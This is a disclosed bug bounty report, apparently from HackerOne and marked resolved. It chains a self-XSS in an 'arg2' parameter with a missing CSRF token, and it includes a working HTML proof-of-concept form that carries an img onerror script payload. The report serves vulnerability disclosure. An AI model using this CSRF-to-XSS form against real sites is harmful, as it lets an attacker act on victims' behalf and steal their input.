Self XSS combine CSRF at https://████████/index.php
Medium
Vulnerability Details
Hi Team,
I found that https://█████████/index.php has vulnerability by XSS in arg2 parameter. Anyway there is no csrf token tied with the post request. As a result this csrf flaw can make the self-xss as a global reflected xss.
CSRF to XSS PoC
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://██████████/index.php" method="POST">
<input type="hidden" name="█████████" value="1" />
<input type="hidden" name="task" value="azrul_ajax" />
<input type="hidden" name="option" value="community" />
<input type="hidden" name="func" value="register,ajaxCheckEmail" />
<input type="hidden" name="no_html" value="1" />
<input type="hidden" name="arg2" value="["_d_","raygame2222%40af.miljvbi9<img src=a onerror=alert(1)>lk2ko"]" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
You just need to copy and paste the POC into notepad++ then open it with using firefox or google chrome . After i believe you can see xss window pop up
## Impact
i can using this CSRF file send it to people then wide variety of actions, such as performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Actions
View on HackerOneReport Stats
- Report ID: 485684
- State: Closed
- Substate: resolved
- Upvotes: 17